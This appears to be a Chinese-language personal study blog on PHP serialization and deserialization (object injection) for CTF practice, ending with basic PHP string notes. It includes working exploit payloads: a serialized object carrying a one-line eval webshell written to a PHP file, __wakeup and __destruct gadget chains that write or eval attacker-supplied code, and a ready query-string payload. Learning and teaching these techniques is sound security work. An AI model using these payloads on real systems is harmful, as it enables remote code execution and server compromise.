php序列化杂记

php序列化杂记

今天比了赛 也认识到自己的能力有限 但是这一个月的web题目做下来也不能急于求成什么,继续努力

这是今天的php序列化代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class FileHandler{
protected $op;
protected $filename;
protected $content;

function __construct($op="",$filename="",$content=""){

$this->op = $op;
$this->filename = $filename;
$this->content = $content;
}
}
$class4 = new FileHandler("2","haha.php","<?php eval(@\$_POST['a']); ?>");
$class4_ser = serialize($class4);
print_r($class4_ser);
?>

这里是输出结果:

O:11:"FileHandler":3:{s:5:"*op";s:1:"2";s:11:"*filename";s:8:"haha.php";s:10:"*content";s:28:"";}

这里有几个点我要注意一下:

  1. 这些变量名前的修饰时protected,在序列化的时候会不一样

  2. 这里序列化的大括号里s都少了2个字节原因是实际的”s“是%00*op%00,%00代表终止符,null

  3. 一句话木马那一行转义了dollar符号$,注意是反斜杠转义。

  4. print_r() 函数用于打印变量,以更容易理解的形式展示。

  5. print_r()var_dump()var_export() 都会显示对象 protected 和 private 的属性。 Class 的静态属性(static) 则不会显示。

接下来进入正文介绍:

0x01 PHP的序列化和反序列化

概念

这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦

序列化的目的是方便数据的传输和存储. json 是为了传递数据的方便性.

序列化示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class test{

public $name = 'P2hm1n';

private $sex = 'secret';

protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

关键函数 serialize():将PHP中创建的对象,变成一个字符串

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

关键要点:

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00*%00属性名

你可能会发现这样一个问题,你这个类定义了那么多方法,怎么把对象序列化了以后全都丢了?你看你整个序列化的字符串里面全是属性,就没有一个方法,这是为啥?

1
请记住,序列化他只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:

(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在

这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。

(2)我们在反序列化攻击的时候也就是依托类属性进行攻击

因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)

关键函数 unserialize():将经过序列化的字符串转换回PHP值

当有 protected 和 private 属性的时候记得补齐空的字符串

__wakeup()魔术方法

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

序列化public private protect参数产生不同结果

1
2
3
4
5
6
7
8
9
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

这里介绍一下public、private、protected的区别

1
2
3
4
5
public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

PHP反序列化标识符含义:

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:”test”:3:{s:11:” test test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:” * test3”;s:5:”hello”;}

这里的O指Object,代表储存的是对象,如果serialize()传入的是一个数组,那么就是字母a。4代表对象的名称有4个字符。”test”表示对象的名称。3表示对象有三个属性。s代表字符串,11代表长度,后面的代表字符串名称(属性),之后的hello是值。

通过对网页抓取输出是这样的 O:4:”test”:3:{s:11:”\00test\00test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:”\00*\00test3”;s:5:”hello”;}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

疑惑的是:%00和\00(<-网页抓取的结果)的区别是什么?

0x02 为什么会产生反序列化漏洞?

序列化本身没有问题,问题还是那个经典的老大难:用户输入( PHP 对象注入漏洞 ), 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控 。我们可以控制序列化和反序列化的参数,就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的,就必须对序列化和反序列化过程进行详尽的了解,利用或者绕过某些魔法函数。

PHP的魔法方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法(通常都设置了某些特定条件来触发)。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__construct(),类的构造函数 <-

__destruct(),类的析构函数,对销毁的时候调用 <-

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数。用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误 <-

__wakeup(),执行unserialize()时,先会调用这个函数 <-

__toString(),类被当成字符串时的回应方法 <-

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2) __wakeup() :unserialize()时会自动调用
(3) __destruct():当对象被销毁时会自动调用。
(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5) __get() :当从不可访问的属性读取数据
(6) __call(): 在对象上下文中调用不可访问的方法时触发
(7) sleep(),执行serialize()时,先会调用这个函数。用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误

  • 测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class virusday{
public $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array('test');
}
function __toString(){
return "__toString"."</br>";
}
function __conStruct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}


$virusday_1 = new virusday();
$data = serialize($virusday_1);
$virusday_2 = unserialize($data);
print($virusday_2);
print($data."</br>");
?>

输出结果:

1
2
3
4
5
6
7
__construct
__sleep <- serialize
__wakeup
__toString <- print($virusday_2);
O:8:"virusday":1:{s:4:"test";s:3:"123";}
__destruct
__destruct

可以看到__destruct函数执行了两次,说明有两个对象被销毁,一个是实例化的对象,还有一个是反序列化后生成的对象。

利用构造函数

Magic function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class virusday{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:8:"virusday":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>

利用场景

__wakeup() 或__destruct()

由前可以看到,unserialize()后会导致__wakeup()__destruct()的直接调用(唤醒或者销毁),中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。假设index源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class virusday{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";// 为显示效果,把这个shell.php包含进来?>

同目录下有个空的shell.php文件。一开始访问index.php。

基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); >”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:

1
2
3
4
5
6
7
8
9
10
11
<?phpclass virusday{	
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}$class4 = new virusday();
$class4->test = "<?php phpinfo(); ?>";
$class4_ser = serialize($class4);
print_r($class4_ser);?>

由此得到序列化结果:

1
O:8:"virusday":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

其他Magic function的利用

但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class creeper{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class virusday{
var $test = '123';
function __wakeup(){
$obj = new creeper($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>

这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用__wakeup()函数 ,从而在new creeper()会自动调用对象creeper中的 __construct()方法,从而把<?php phpinfo(); ?>写入到 shell.php中。

传参:?test=O:8:”virusday”:1:{s:4:”test”;s:19:"<?php phpinfo(); ?>";}

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class virusday {
var $test;
function __construct() {
$this->test = new creeper1();
}
function __destruct() {
$this->test->action();
}
}
class creeper1 {
function action() {
echo "creeper1";
}
}
class creeper2 {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new virusday();
unserialize($_GET['test']);?>

本意上,new一个新的chybeta对象后,调用__construct(),其中又new了creeper1对象。在结束后会调用__destruct(),其中会调用action(),从而输出 creeper1。

下面是利用过程。构造序列化。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class virusday {
var $test;
function __construct() {
$this->test = new creeper2(); #test变量指向creeper2的对象实例
}
}
class creeper2 {
var $test2 = "phpinfo();";
}
echo serialize(new virusday());
?>

得到:

1
O:8:"virusday":1:{s:4:"test";O:7:"creeper2":1:{s:5:"test2";s:10:"phpinfo();";}}

传给index.php的test参数,利用成功

toString魔术方法

其中特别说明一下第四点:

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时 (.连接)

(3)反序列化对象参与格式化字符串时(sprintf() 函数把格式化的字符串写入变量中。格式化其中的变量再返回已格式化的字符串)

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时(bind_param())

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

php字符串拼接

字符串的表示

PHP中字符串的表示可以用双引号,也可以用单引号,但是两者之间有些区别。

  • 字符串中有变量的时候,单引号仅输出变量名,而不是值:
1
2
3
4
5
6
1 <?php
2 $color = "red";
3 echo "Roses are$color";
4 echo "<br />";
5 echo 'Roses are $color';
6 ?>

输出:

1
2
Roses are red
Roses are $color #注意此处只输出变量名
  • 转义字符:

    “\t” 输出时就是制表符, 而‘\t’ 就是直接输出 \t 了。  

    在window下 “\r\n” 是表示换行。

  • 此外,在PHP中要输出一个换行的时候,只能用“
    ”,可能这也是它与HTML语言高度结合的结果吧

字符串的拼接(连接符)

php变量和字符串连接符——点(.)

连接符——点,本身也是一种运算符。它真正的名字应该叫“字符运算符”。作用是把两个字符串连接起来。

echo 字符 . 变量 . 字符;

//点号把三个值连接成为一个,运行正常。

例:

1.字符串+变量+字符串

echo("<!--".$result."-->");

2.变量+变量
echo($result.$result);

3.字符串+变量
echo("a".$result);

当然还有其他输出方式:print 以及printf(用于控制输出格式)。但是echo的输出速度是最快的

字符串处理函数

PHP也提供与其他语言类似的字符串处理函数,常用的有:

chr()          从指定的 ASCII 值返回字符。(注意不是charAt)

explode()        把字符串打散为数组。

str_ireplace()      替换字符串中的一些字符。(对大小写不敏感)

str_word_count()   计算字符串中的单词数。

strip_tags()      剥去 HTML、XML 以及 PHP 的标签。

stripos()        返回字符串在另一字符串中第一次出现的位置(大小写不敏感)

strlen()        返回字符串的长度。